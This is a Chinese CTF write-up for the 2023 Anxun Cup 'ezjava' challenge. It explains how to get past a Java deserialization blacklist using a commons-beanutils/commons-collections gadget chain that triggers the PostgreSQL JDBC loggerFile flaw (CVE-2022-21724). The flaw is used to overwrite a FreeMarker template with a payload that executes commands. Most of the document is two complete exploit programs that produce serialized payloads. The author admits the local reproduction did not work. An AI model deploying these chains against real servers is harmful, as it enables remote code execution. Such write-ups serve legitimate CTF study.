2023安洵杯 ezjava
重要依赖
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.3</version>
</dependency>
有CB依赖和pgsql的依赖,而且pgsql还是漏洞版本,还有cb依赖,估计的思路是cb触发getter打pgsql
然后还有cc依赖不过是3.2.2版本的,还有Freemaker的模板
题目不出网
路由的代码就不放了,就直接是一个反序列化
waf
static {
BLACKLIST.add("com.sun.jndi");
BLACKLIST.add("com.fasterxml.jackson");
BLACKLIST.add("org.springframework");
BLACKLIST.add("com.sun.rowset.JdbcRowSetImpl");
BLACKLIST.add("java.security.SignedObject");
BLACKLIST.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
BLACKLIST.add("java.lang.Runtime");
BLACKLIST.add("java.lang.ProcessBuilder");
BLACKLIST.add("java.util.PriorityQueue");
}
可以看到出口类是一个找不到,然后jndi类是用不了,jackson反序列化是不行的,一般出口类都没有的时候就是到注入了,这里有fm模板的依赖,大概率是覆盖index.ftl然后去模板注入,但是CB的入口杯卡死了,可以使用CB的TreeBag链
TreeBag的readObject逻辑如下
这里会调用map的put方法,这里的map是treemap
那么我们只需要让compartor为BeanComparator
即可
因为还有CC依赖,我们也不需要TreeBag,我们只需要触发Treemap的put方法,我们知道LazyMap会触发map的put方法,所以链子还是有其他的
然后就是打pgsql的文件覆盖,不过需要一个前提条件
spring.freemarker.expose-spring-macro-helpers=true
而Spring的配置文件这里确实是这样的,所以就是这样打
pgsql打的是
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class cve202221724 {
public static void main(String[] args) throws SQLException {
String loggerLevel = "debug";
String loggerFile = "test.txt";
String shellContent="test";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
Connection connection = DriverManager.getConnection(jdbcUrl);
}
}
但是这里我们需要反序列化触发他,然后覆盖文件
BadAttributeValueExpException#readObject()->TiedMapEntry#getValue()->LazyMap#get()->TreeMap#put()->BeanComparator#compare()->BaseDataSource#getConnection()->org.postgresql.Driver#setupLoggerFromProperties()->org.postgresql.Driver#connect()->写入文件
POC
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.postgresql.ds.PGSimpleDataSource;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.Base64;
import java.util.TreeMap;
public class psqlConnection {
public static void main(String[] args) throws SQLException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
String loggerLevel="debug";
String loggerFile="/app/templates/index.ftl";
String shellContent="<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"ls /\")}";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
PGSimpleDataSource pgSimpleDataSource=new PGSimpleDataSource(); //DataSource子类
pgSimpleDataSource.setURL(jdbcUrl);
BeanComparator beanComparator=new BeanComparator();
setFieldValue(beanComparator, "property", "connection");
TreeMap treeMap=new TreeMap(beanComparator);
ConstantFactory constantFactory=new ConstantFactory("1");
LazyMap lazyMap= (LazyMap) LazyMap.decorate(treeMap,constantFactory);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,pgSimpleDataSource);
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",tiedMapEntry);
byte[] result=serialize(badAttributeValueExpException);
String exp=Base64.getEncoder().encodeToString(result);
System.out.println(exp);
// byte[] bytes = Base64.getDecoder().decode(exp);
// ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
// ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
// objectInputStream.readObject();
}
public static void setFieldValue(Object obj,String field,Object val) throws NoSuchFieldException, IllegalAccessException {
Field field1=obj.getClass().getDeclaredField(field);
field1.setAccessible(true);
field1.set(obj,val);
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
}
或则Treebag
package com.ctf.axb;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.bag.TreeBag;
import org.postgresql.ds.PGConnectionPoolDataSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.TreeMap;
public class Exp {
public static void main(String[] args) throws Exception {
PGConnectionPoolDataSource pgConnectionPoolDataSource = new PGConnectionPoolDataSource();
String loggerLevel = "debug";
String loggerFile = "test.txt";
String shellContent = "<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"ls /\")}";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
pgConnectionPoolDataSource.setProperty("loggerLevel","debug");
pgConnectionPoolDataSource.setProperty("loggerFile","/app/templates/index.ftl");
pgConnectionPoolDataSource.setURL(jdbcUrl);
pgConnectionPoolDataSource.setProperty("user","<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"ls /\")}");
pgConnectionPoolDataSource.setProperty("password","1");
Class<?> mutableIntegerclass = Class.forName("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger");
Constructor<?> mutableIntegerConstructor = mutableIntegerclass.getDeclaredConstructor(int.class);
mutableIntegerConstructor.setAccessible(true);
Object mutableIntegerClass = mutableIntegerConstructor.newInstance(1);
Class<?> entry = Class.forName("java.util.TreeMap$Entry");
Constructor<?> entryConstructor = entry.getDeclaredConstructor(Object.class, Object.class, entry);
entryConstructor.setAccessible(true);
Object entryClass = entryConstructor.newInstance(pgConnectionPoolDataSource, mutableIntegerClass, null);
Object entryClass1 = entryConstructor.newInstance(pgConnectionPoolDataSource,mutableIntegerClass, entryClass);
BeanComparator beanComparator = new BeanComparator();
Class<? extends BeanComparator> beanComparatorClass = beanComparator.getClass();
Field propertyField = beanComparatorClass.getDeclaredField("property");
propertyField.setAccessible(true);
propertyField.set(beanComparator,"connection");
TreeMap treeMap = new TreeMap();
setFieldValue(entryClass1, "right", entryClass);
setFieldValue(treeMap,"root",entryClass1);
setFieldValue(treeMap,"size",1);
setFieldValue(treeMap,"modCount",1);
setFieldValue(treeMap,"comparator",beanComparator);
TreeBag treeBag = new TreeBag(beanComparator);
Class<?> superclass = treeBag.getClass().getSuperclass();
Field map = superclass.getDeclaredField("map");
map.setAccessible(true);
map.set(treeBag,treeMap);
String s = base64serial(treeBag);
System.out.println(s);
base64deserial(s);
}
public static String base64serial(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void base64deserial(String base64String) throws Exception {
byte[] data = Base64.getDecoder().decode(base64String);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
ois.readObject();
}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}
}
我本地是没有复现成功的,不知道为什么
md覆盖的文件没有我想要的内容
参考
https://xz.aliyun.com/t/13279?time__1311=mqmxnDBD9DyDc0iD%2FD0Yx20Ynq4Qwv4PvD&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F#toc-7
https://blog.youkuaiyun.com/qq_64201116/article/details/136796997